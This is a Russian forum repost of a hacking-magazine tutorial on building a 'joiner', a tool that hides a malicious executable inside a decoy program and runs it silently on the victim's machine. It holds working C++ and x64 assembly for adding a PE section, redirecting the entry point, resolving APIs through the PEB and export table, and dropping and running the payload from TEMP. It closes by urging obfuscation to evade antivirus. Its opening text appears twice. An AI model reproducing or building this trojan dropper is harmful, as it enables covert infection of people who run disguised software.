Статья с Хакера:
Вообще не пугайтесь слова "Джойнер", прочитав статью можно научится неплохим подходам и использовать их в своих проектах.)
Представим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.
Существуют ли готовые решения, предназначенные для склейки программ и вредоносной нагрузки? Безусловно, но здесь есть ряд проблем. Такие инструменты детектятся антивирусами, стоят денег и часто продаются как сервис, то есть требуют оплаты за разовую склейку. Бесплатные и простые способы встроить полезную нагрузку вида «поместим файлы в самораспаковывающийся архив» и вовсе банальный фуфломицин. Решение же, сделанное своими руками, может быть улучшено, исправлено в случае детекта и, конечно, останется бесплатным.
НЕМНОГО ТЕОРИИ
Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.
А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .pngили другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.
КАК УСТРОЕН НАШ ВАРИАНТ
Нашей целью будет Windows 10 x64, но, поняв принцип, легко можно переработать инструментарий под другие версии семейства Windows. Код должен работать и на Windows 7/8, но не тестировался там. Мы будем использовать смесь С++ и ассемблера.
Алгоритм работы
Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.
Добавление секции
Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:
Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку
Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:
Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:
Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа. Как будет выглядеть структура новой секции в целом, показано на картинке.
Ассемблер и шелл-код
Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.
Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».
Таким образом, этот код:
Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:
Вызов функции с учетом этого смещения выглядит так:
Строки, смешанные с кодом
Хранить строки, переменные (данные) и код в разных секциях для шелл‑кода неприемлемо. Поэтому здесь код и данные смешиваются. С локальными переменными на стеке нет никаких проблем. Со строками используется следующий прием:
То есть инструкции идут вместе со строками. Конечно, строки нельзя выполнить, и мы делаем короткие (short) переходы через строки.
Поиск границ шелл-кода
Для этого мы воспользуемся public-переменными. В ассемблерном листинге, в самом начале нашего шелл‑кода, мы поместим переменную. Она послужит маркером начала. Точно так же мы поместим переменную в конце кода.
MASM, cmake и Visual Studio
Нам нужно подружить эти инструменты. Macro assembler нужен для написания шелл‑кода, потому что встраивать ассемблерный код в программу на С++ с помощью __asm{} в архитектуре x64 нельзя. Создается отдельный файл с ассемблерным кодом, обычно для таких файлов используют расширение .asm, а в CMakeLists.txt добавляются такие директивы:
Теперь мы получим возможность слинковать два объектных файла при условии, что в С++ используется ключевое слово extern. Например:
Алгоритм запуска нагрузки
Шелл‑код работает так:
1. Ищет путь к директории TEMP.
2. Записывает туда файл с нагрузкой.
3. Запускает этот файл на выполнение.
4. Передает управление оригинальной точке входа оболочки.
В виде листинга это может выглядеть так:
Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:
Для работы алгоритма нам понадобится восемь функций. Но как найти их адреса?
Поиск API в памяти
Алгоритм достаточно прост:
Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):
Когда у нас появились адреса двух краеугольных функций LdrGetDllHandleи LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:
Непонятен ассемблерный код? Изначально этот код тоже написан на С++:
Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):
Вся высокоуровневая логика выглядит следующим образом:
Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом. Весь код проекта доступен по ссылке:
ВЫВОДЫ
Конечно, через какое‑то время любое антивирусное ПО научится детектить этот код, но, поскольку он доступен в виде исходников, его можно модифицировать, обфусцировать, подвергать мутациям, получая каждый раз чистые файлы. А улучшения, несомненно, понадобятся.
Здесь понадобится поддержка и старой доброй архитектуры х86, и всей линейки Windows, да и над скрытностью поработать будет нелишним. Сейчас аналитик может увидеть нечто подозрительное, просто посмотрев, какой секции принадлежит точка входа, так как если она расположена в последней секции, то файл подвергался модификациям.
В сети часто можно увидеть жалобы, например на распространителей «таблеток от жадности» (кряков и кейгенов), за то, что в таком ПО много троянских программ. Но теперь ты знаешь, как эти трояны туда попадают.
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Вообще не пугайтесь слова "Джойнер", прочитав статью можно научится неплохим подходам и использовать их в своих проектах.)
Представим, что нам нужно запустить некий зловредный код на машине жертвы. Доступа к этому компу у нас нет, и кажется, что самым простым вариантом будет вынудить жертву сделать все за нас. Конечно, никто в здравом уме не запустит сомнительное ПО на своем девайсе, поэтому жертву нужно заинтересовать — предложить что‑то полезное. Тут в дело вступает джоинер — тулза, которая встроит в полезную нагрузку наш код и скрытно его запустит.
Существуют ли готовые решения, предназначенные для склейки программ и вредоносной нагрузки? Безусловно, но здесь есть ряд проблем. Такие инструменты детектятся антивирусами, стоят денег и часто продаются как сервис, то есть требуют оплаты за разовую склейку. Бесплатные и простые способы встроить полезную нагрузку вида «поместим файлы в самораспаковывающийся архив» и вовсе банальный фуфломицин. Решение же, сделанное своими руками, может быть улучшено, исправлено в случае детекта и, конечно, останется бесплатным.
НЕМНОГО ТЕОРИИ
Джоинер может и должен склеивать два исполняемых файла. Первый — визуальная оболочка, красивая картинка и отвлекающий маневр. Это то, что увидит юзер на экране своего компьютера, когда запустит исполняемый файл. Второй — полезная нагрузка, которая запускается без явного желания пользователя. По умолчанию второй файл не будет как‑то скрыт: если в нем присутствуют окна или, например, громкое музыкальное сопровождение, то это все юзер заметит. Поэтому нужно обеспечить скрытную работу полезной нагрузки. Джоинер лишь склеивает, но не маскирует вредоносное приложение.
А может ли джоинер склеить исполняемый файл с картинкой? Может, но это не имеет смысла. Чисто теоретически, если бы он склеивал исполняемый файл и картинку, на выходе все равно получался бы исполняемый файл, который не имел бы расширения .jpg, .pngили другого подобного. Редакторы и просмотрщики картинок такой файл открыть не смогут. Либо мы получим картинку, но в таком случае не сможем запустить исполняемый файл. Есть еще вариант, когда приложение стартует и открывает картинку через API ShellExecute. Действие занятное, но только в качестве фокуса — пользы от него никакой.
КАК УСТРОЕН НАШ ВАРИАНТ
Нашей целью будет Windows 10 x64, но, поняв принцип, легко можно переработать инструментарий под другие версии семейства Windows. Код должен работать и на Windows 7/8, но не тестировался там. Мы будем использовать смесь С++ и ассемблера.
Алгоритм работы
Оболочка — наш первый ехе, который будет виден клиенту. Это, так сказать, приманка. Нагрузка — второй ехе, в котором содержится зловредный контент. В оболочку добавляется дополнительная секция, куда записывается шелл‑код и нагрузка. Управление сразу передается на шелл‑код, задача которого — извлечь нагрузку, сохранить ее на диск и запустить. На верхнем уровне все сводится к тому, что мы получаем некий байтовый массив, который должны положить в дополнительную секцию. Потом останется лишь исправить точку входа у оболочки, и все — склейка завершена.
C++:
try {
const auto goodfile = std::wstring(argv[1]);
const auto badfile = std::wstring(argv[2]);
const auto content = CreateData(badfile,goodfile);
AddDataToFile(goodfile, content, L"fixed.exe");
}
catch (const std::exception& error)
{
std::cout << error.what() << std::endl;
}
Добавление секции
Это самая простая часть алгоритма, поэтому для разогрева начнем именно с нее. Открываем на чтение файл оболочки:
C++:
std::ifstream inputFile(inputPe, std::ios::binary);
if (inputFile.fail())
{
const auto message = Utils::WideToString(L"Unable to open " + inputPe);
throw std::logic_error(message);
}
Нам понадобится библиотека для работы с PE-файлами. Это очень сильно упростит нам добавление секции, редактирование ее атрибутов, исправление entry point и прочее. Я выбрал старую проверенную библиотеку
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.Но библиотеку нужно немного подправить, если мы хотим использовать С++17 для компиляции проектов. Правки эти делаются тривиально и состоят в том, что нужно устаревший auto_ptr сменить на unique_ptr. Из‑за этих правок код библиотеки я предложил бы хранить непосредственно в своем репозитории, а не использовать submodule. Секция добавляется так:
C++:
auto peImage = pe_bliss::pe_factory::create_pe(inputFile);
pe_bliss::section newSection;
newSection.readable(true).writeable(true).executable(true); // Секция получает атрибуты read + write + execute
newSection.set_name("joiner"); // Имя секции
newSection.set_raw_data(std::string(data.cbegin(), data.cend())); // Контент секции
pe_bliss::section& added_section = peImage.add_section(newSection);
const auto alignUp = [](unsigned int value, unsigned int aligned) -> unsigned int
{
const auto num = value / aligned;
return (num * aligned < value) ? (num * aligned + aligned) : (num * aligned);
};
peImage.set_section_virtual_size(added_section,
alignUp(data.size(), peImage.get_section_alignment())); // Виртуальный размер секции выравнивается в бОльшую сторону
peImage.set_ep(added_section.get_virtual_address() + sizeof(HEAD));
Последняя строка заслуживает отдельных комментариев. Там меняется точка входа, но новая EP (entry point) выставляется не на самое начало новой секции, а на начало со смещением, которое равно размеру структуры HEAD. Эта структура выглядит так:
C++:
struct HEAD
{
unsigned long long sizeOfPayload;
unsigned long long OEP;
};
Возникает логичный вопрос: что это за поля и откуда берутся их значения? Поле sizeOfPayload — размер файла нагрузки, а OEP — значение точки входа оболочки до того, как мы добавили новую секцию и изменили на нее точку входа. Как будет выглядеть структура новой секции в целом, показано на картинке.
Ассемблер и шелл-код
Код, который мы добавим в оболочку, должен соответствовать определенным требованиям. И на языке ассемблера добиться этого соответствия не просто легче — это единственно возможный путь. Разберемся почему.
Когда мы инжектим свой код в посторонний .ехе, мы должны быть готовы к тому, что код запустится по случайному адресу без подготовки со стороны загрузчика. Не будет никаких известных адресов API-функций, релокации никто не исправит, поэтому нужно писать самодостаточный код. Такой код иногда называют шелл‑кодом, хотя он и не является шелл‑кодом в понимании эксплуатации уязвимостей. Это, скорее, код «в шелл‑код‑стиле».
Таким образом, этот код:
- должен уметь работать с любого адреса, неважно, по какому адресу он оказался в памяти;
- должен находить адреса нужных ему функций.
Если файл был собран под адрес Х, а запустился с адреса Y, то все абсолютные адреса требуют корректировки. Разница между этими адресами как раз и называется дельта‑смещением. Вот код для вычисления такого дельта‑смещения:
Код:
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
Код:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
Строки, смешанные с кодом
Хранить строки, переменные (данные) и код в разных секциях для шелл‑кода неприемлемо. Поэтому здесь код и данные смешиваются. С локальными переменными на стеке нет никаких проблем. Со строками используется следующий прием:
Код:
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
То есть инструкции идут вместе со строками. Конечно, строки нельзя выполнить, и мы делаем короткие (short) переходы через строки.
Поиск границ шелл-кода
Для этого мы воспользуемся public-переменными. В ассемблерном листинге, в самом начале нашего шелл‑кода, мы поместим переменную. Она послужит маркером начала. Точно так же мы поместим переменную в конце кода.
Код:
PUBLIC sizeOfPayload ; Маркер начала
PUBLIC FinishMarker ; Маркер завершения шелл-кода
.CODE
sizeOfPayload QWORD 0 ; Поля структуры HEAD
OEP QWORD 0
launcher proc ; Начало самого кода
MASM, cmake и Visual Studio
Нам нужно подружить эти инструменты. Macro assembler нужен для написания шелл‑кода, потому что встраивать ассемблерный код в программу на С++ с помощью __asm{} в архитектуре x64 нельзя. Создается отдельный файл с ассемблерным кодом, обычно для таких файлов используют расширение .asm, а в CMakeLists.txt добавляются такие директивы:
Код:
enable_language(ASM_MASM)
set(ASMSRC shellcode.asm)
target_sources(${PROJECT_NAME} PRIVATE ${ASMSRC})
if(CMAKE_CL_64 EQUAL 0)
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/safeseh /DSC_WIN32")
else()
set_source_files_properties(${ASMSRC} PROPERTIES COMPILE_FLAGS "/DSC_WIN64")
endif()
Теперь мы получим возможность слинковать два объектных файла при условии, что в С++ используется ключевое слово extern. Например:
Код:
extern "C" unsigned long long sizeOfPayload;
Алгоритм запуска нагрузки
Шелл‑код работает так:
1. Ищет путь к директории TEMP.
2. Записывает туда файл с нагрузкой.
3. Запускает этот файл на выполнение.
4. Передает управление оригинальной точке входа оболочки.
В виде листинга это может выглядеть так:
C++:
void DropToDiskAndExecute(const uint8_t* data, unsigned int sizeData, const API_Adresses* addresses)
{
STARTUPINFOA startup{0};
PROCESS_INFORMATION procInfo{0};
const char surprise[] = "payload.exe";
const auto size = reinterpret_cast<gettemppatha*>(
addresses->GetTempPathA)(0, nullptr);
auto* location = reinterpret_cast<virtualalloc*>(addresses->VirtualAlloc)
(nullptr, size + sizeof(surprise),
MEM_COMMIT, PAGE_READWRITE);
if (!location)
{
return;
}
reinterpret_cast<gettemppatha*>(addresses->GetTempPathA)(size, reinterpret_cast<LPSTR>(location));
reinterpret_cast<winlstrcat*>(addresses->lstrcatA)(reinterpret_cast<LPSTR>(location), surprise);
auto handle = reinterpret_cast<createfilea*>(addresses->CreateFileA)
(reinterpret_cast<LPSTR>(location), GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE, nullptr,
CREATE_ALWAYS, 0, 0);
reinterpret_cast<writefile*>(addresses->WriteFile)(handle, data,
sizeData, nullptr, nullptr);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(handle);
reinterpret_cast<createprocessa*>(addresses->CreateProcessA)(reinterpret_cast<LPSTR>(location),
nullptr,
nullptr, nullptr, FALSE,
0, nullptr, nullptr, &startup, &procInfo);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hProcess);
reinterpret_cast<closehandle*>(addresses->CloseHandle)(procInfo.hThread);
reinterpret_cast<virtualfree*>(addresses->VirtualFree)(location, 0, MEM_RELEASE);
}
Данный код заслуживает более детального рассмотрения. Во‑первых, он на С++. Но как же так? Ведь шелл‑код должен быть на ассемблере? Да, шелл‑код на ассемблере. Просто вначале был этот код, а потом я его дизассемблировал и скопировал результат (с небольшими правками) в shellcode.asm. Во‑вторых, это — чистая функция, то есть результат ее работы зависит только от входных параметров. Это важно, поскольку такие функции генерируются компилятором практически сразу в нужном нам шелл‑код‑стиле. В‑третьих, тут нет какой‑то обработки ошибок, потому что в случае ошибки мы не должны никак ее обрабатывать и вообще обнаруживать свое присутствие. Также важно, что все необходимые API-функции подаются нам на вход:
C++:
struct API_Adresses
{
FARPROC GetTempPathA;
FARPROC VirtualAlloc;
FARPROC lstrcatA;
FARPROC CreateFileA;
FARPROC WriteFile;
FARPROC CloseHandle;
FARPROC CreateProcessA;
FARPROC VirtualFree;
};
Для работы алгоритма нам понадобится восемь функций. Но как найти их адреса?
Поиск API в памяти
Алгоритм достаточно прост:
- Ищем базу загрузки ntdll.dll.
- В таблице экспорта находим две функции: LdrGetDllHandleи LdrGetProcedureAddress.
- С их помощью находим адреса восьми функций из структуры API_Adresses.
Код:
GetNtdllByModuleList:
mov rax, gs:[60h]
mov ecx, 5A4Dh
mov rax, [rax+18h]
and rax, 0FFFFFFFFFFFFF000h
try_again:
cmp [rax], cx
jz short finish
sub rax, 1000h
jnz short try_again
finish:
ret
Код парсинга таблицы экспорта был честно позаимствован на просторах интернета (правда, оригинальная версия содержит баг, который в моем коде исправлен):
Код:
;http://mcdermottcybersecurity.com/articles/windows-x64-shellcode
;look up address of function from DLL export table
;rcx=DLL imagebase, rdx=function name string
;DLL name must be in uppercase
;r15=address of LoadLibraryA (optional, needed if export is forwarded)
;returns address in rax
;returns 0 if DLL not loaded or exported function not found in DLL
;NtGetProcAddressAsm proc
NtGetProcAddressAsm:
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
start:
found_dll:
mov rbx, rcx ;get dll base addr — points to DOS "MZ" header
mov r9d, [rbx+3ch] ;get DOS header e_lfanew field for offset to "PE" header
add r9, rbx ;add to base — now r9 points to _image_nt_headers64
add r9, 88h ;18h to optional header + 70h to data directories
;r9 now points to _image_data_directory[0] array entry
;which is the export directory
mov r13d, [r9] ;get virtual address of export directory
test r13, r13 ;if zero, module does not have export table
jnz has_exports
xor rax, rax ;no exports — function will not be found in dll
jmp done
has_exports:
lea r8, [rbx+r13] ;add dll base to get actual memory address
;r8 points to _image_export_directory structure (see winnt.h)
mov r14d, [r9+4] ;get size of export directory
add r14, r13 ;add base rva of export directory
;r13 and r14 now contain range of export directory
;will be used later to check if export is forwarded
mov ecx, [r8+18h] ;NumberOfNames
mov r10d, [r8+20h] ;AddressOfNames (array of RVAs)
add r10, rbx ;add dll base
dec ecx ;point to last element in array (searching backwards)
for_each_func:
lea r9, [r10 + 4*rcx] ;get current index in names array
mov edi, [r9] ;get RVA of name
add rdi, rbx ;add base
mov rsi, rdx ;pointer to function we're looking for
compare_func:
cmpsb
jne wrong_func ;function name doesn't match
mov al, [rsi] ;current character of our function
test al, al ;check for null terminator
jz bug_fix ;bugfix here — doulbe check of zero byte
;if at the end of our string and all matched so far, found it
jmp compare_func ;continue string comparison
wrong_func:
loop for_each_func ;try next function in array
xor rax, rax ;function not found in export table
jmp done
bug_fix:
mov al, [rdi]
test al, al
jz short found_func
jmp short compare_func
found_func: ;ecx is array index where function name found
;r8 points to _image_export_directory structure
mov r9d, [r8+24h] ;AddressOfNameOrdinals (rva)
add r9, rbx ;add dll base address
mov cx, [r9+2*rcx] ;get ordinal value from array of words
mov r9d, [r8+1ch] ;AddressOfFunctions (rva)
add r9, rbx ;add dll base address
mov eax, [r9+rcx*4] ;Get RVA of function using index
cmp rax, r13 ;see if func rva falls within range of export dir
jl not_forwarded
cmp rax, r14 ;if r13 <= func < r14 then forwarded
jae not_forwarded
;forwarded function address points to a string of the form <DLL name>.<function>
;note: dll name will be in uppercase
;extract the DLL name and add ".DLL"
lea rsi, [rax+rbx] ;add base address to rva to get forwarded function name
lea rdi, [rsp+30h] ;using register storage space on stack as a work area
mov r12, rdi ;save pointer to beginning of string
copy_dll_name:
movsb
cmp byte ptr [rsi], 2eh ;check for '.' (period) character
jne copy_dll_name
movsb ;also copy period
mov dword ptr [rdi], 004c4c44h ;add "DLL" extension and null terminator
mov rcx, r12 ;r12 points to "<DLL name>.DLL" string on stack
call r15 ;call LoadLibraryA with target dll
mov rcx, r12 ;target dll name
mov rdx, rsi ;target function name
jmp start ;start over with new parameters
not_forwarded:
add rax, rbx ;add base addr to rva to get function address
done:
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
ret
Когда у нас появились адреса двух краеугольных функций LdrGetDllHandleи LdrGetProcedureAddress, дальше можно найти адрес функции для любой уже загруженной библиотеки. Либа kernel32.dll тоже загружается лоадером сразу, так что мы без проблем найдем все интересующие нас адреса:
Код:
GetProcedureAddressAsm:
var_28= word ptr -28h
var_26= word ptr -26h
var_20= qword ptr -20h
var_18= word ptr -18h
var_16= word ptr -16h
var_10= qword ptr -10h
arg_0= qword ptr 8
arg_8= qword ptr 10h
arg_10= qword ptr 18h
arg_18= qword ptr 20h
mov [rsp+arg_10], rbx
mov [rsp+arg_18], rsi
push rdi
sub rsp, 40h
xor ebx, ebx
mov rdi, rdx
test rcx, rcx
mov rdx, rcx
mov ecx, ebx
mov rsi, r9
mov r10, r8
jz short loc_14000689A
cmp [rdx], cx
jz short loc_140006898
nop dword ptr [rax+00000000h]
loc_140006890:
inc ecx
cmp [rdx+rcx*2], bx
jnz short loc_140006890
loc_140006898:
add ecx, ecx
loc_14000689A:
mov [rsp+48h+var_28], cx
lea r9, [rsp+48h+arg_0]
add cx, 2
mov [rsp+48h+var_20], rdx
mov [rsp+48h+var_26], cx
lea r8, [rsp+48h+var_28]
xor ecx, ecx
xor edx, edx
call r10
test rdi, rdi
jz short loc_1400068D0
cmp byte ptr [rdi], 0
jz short loc_1400068D0
loc_1400068C8:
inc ebx
cmp byte ptr [rbx+rdi], 0
jnz short loc_1400068C8
loc_1400068D0:
mov rcx, [rsp+48h+arg_0]
lea r9, [rsp+48h+arg_8]
mov [rsp+48h+var_18], bx
lea rdx, [rsp+48h+var_18]
inc bx
mov [rsp+48h+var_10], rdi
xor r8d, r8d
mov [rsp+48h+var_16], bx
call rsi
mov rax, [rsp+48h+arg_8]
mov rbx, [rsp+48h+arg_10]
mov rsi, [rsp+48h+arg_18]
add rsp, 40h
pop rdi
ret
Непонятен ассемблерный код? Изначально этот код тоже написан на С++:
Код:
FARPROC GetProcedureAddress(wchar_t* library, char* function,
LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress)
{
const auto libNameLen = static_cast<USHORT>(GetWcharLen(library));
UNICODE_STRING libraryName{ libNameLen,
libNameLen + sizeof(wchar_t),
library };
HMODULE hModule;
LdrGetDllHandle(nullptr, nullptr, &libraryName, &hModule);
const auto functionNameLen = static_cast<USHORT>(GetCharLen(function));
ANSI_STRING functionName{ functionNameLen,
functionNameLen + sizeof(char),
function };
FARPROC result;
LdrGetProcedureAddress(hModule, &functionName, 0, &result);
return result;
}
Для заполнения структуры с адресами используется такой метод (далее приведен его псевдокод):
C++:
API_Adresses CreateAddressStruct(LdrGetDllHandlePointer* LdrGetDllHandle,
LdrGetProcedureAddressPointer* LdrGetProcedureAddress, GetProcedureAddressPointer* getter)
{
API_Adresses result{};
wchar_t* libname = L"kernel32.dll";
result.CloseHandle = getter(libname, "CloseHandle", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateFileA = getter(libname, "CreateFileA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.CreateProcessA = getter(libname, "CreateProcessA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.GetTempPathA = getter(libname, "GetTempPathA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.lstrcatA = getter(libname, "lstrcatA", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualAlloc = getter(libname, "VirtualAlloc", LdrGetDllHandle,
LdrGetProcedureAddress);
result.VirtualFree = getter(libname, "VirtualFree", LdrGetDllHandle,
LdrGetProcedureAddress);
result.WriteFile = getter(libname, "WriteFile", LdrGetDllHandle,
LdrGetProcedureAddress);
return result;
}
Вся высокоуровневая логика выглядит следующим образом:
Код:
sizeOfPayload QWORD 0
OEP QWORD 0
launcher proc
var_ntdllBase = qword ptr -10h
var_ldrProcedureAddr = qword ptr -20h
var_ldrLoadDll = qword ptr -30h
var_delta = qword ptr -40h
var_apis = qword ptr -90h
call delta
delta:
pop rax
mov rcx, offset delta
sub rax, rcx
sub rsp, 100h
mov [rsp+100h+var_delta], rax
jmp short begin
getprocaddr:
db 'LdrGetProcedureAddress',0
getdllhandle:
db 'LdrGetDllHandle',0
begin:
mov rax, offset GetNtdllByModuleList
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ntdllBase], rax
mov rcx, rax
lea rdx, getprocaddr
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrProcedureAddr], rax
mov rcx, [rsp+100h+var_ntdllBase]
lea rdx, getdllhandle
mov rax, offset NtGetProcAddressAsm
add rax, [rsp+100h+var_delta]
call rax
mov [rsp+100h+var_ldrLoadDll], rax
mov rdx, rax
mov r8, [rsp+100h+var_ldrProcedureAddr]
mov r9, offset GetProcedureAddressAsm
add r9, [rsp+100h+var_delta]
lea rcx, [rsp+100h+var_apis]
mov rax, offset CreateAddressStructAsm
add rax, [rsp+100h+var_delta]
call rax
mov r8, rax
lea rdx, sizeOfPayload
mov rdx, qword ptr [rdx]
lea rcx, FinishMarker
mov rax, offset DropToDiskAndExecuteAsm
add rax, [rsp+100h+var_delta]
call rax
lea rax, OEP
mov rax, qword ptr [rax]
mov rcx, gs:[60h] ; GetModuleHanldeW(nullptr)
mov rcx, [rcx+10h]
add rax, rcx
add rsp, 100h
jmp rax
Код работает благодаря тому, что размер нагрузки расположен в переменной sizeOfPayload, а сам контент второго исполняемого файла — сразу за шелл‑кодом. Весь код проекта доступен по ссылке:
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
.ВЫВОДЫ
Конечно, через какое‑то время любое антивирусное ПО научится детектить этот код, но, поскольку он доступен в виде исходников, его можно модифицировать, обфусцировать, подвергать мутациям, получая каждый раз чистые файлы. А улучшения, несомненно, понадобятся.
Здесь понадобится поддержка и старой доброй архитектуры х86, и всей линейки Windows, да и над скрытностью поработать будет нелишним. Сейчас аналитик может увидеть нечто подозрительное, просто посмотрев, какой секции принадлежит точка входа, так как если она расположена в последней секции, то файл подвергался модификациям.
В сети часто можно увидеть жалобы, например на распространителей «таблеток от жадности» (кряков и кейгенов), за то, что в таком ПО много троянских программ. Но теперь ты знаешь, как эти трояны туда попадают.
Последнее редактирование: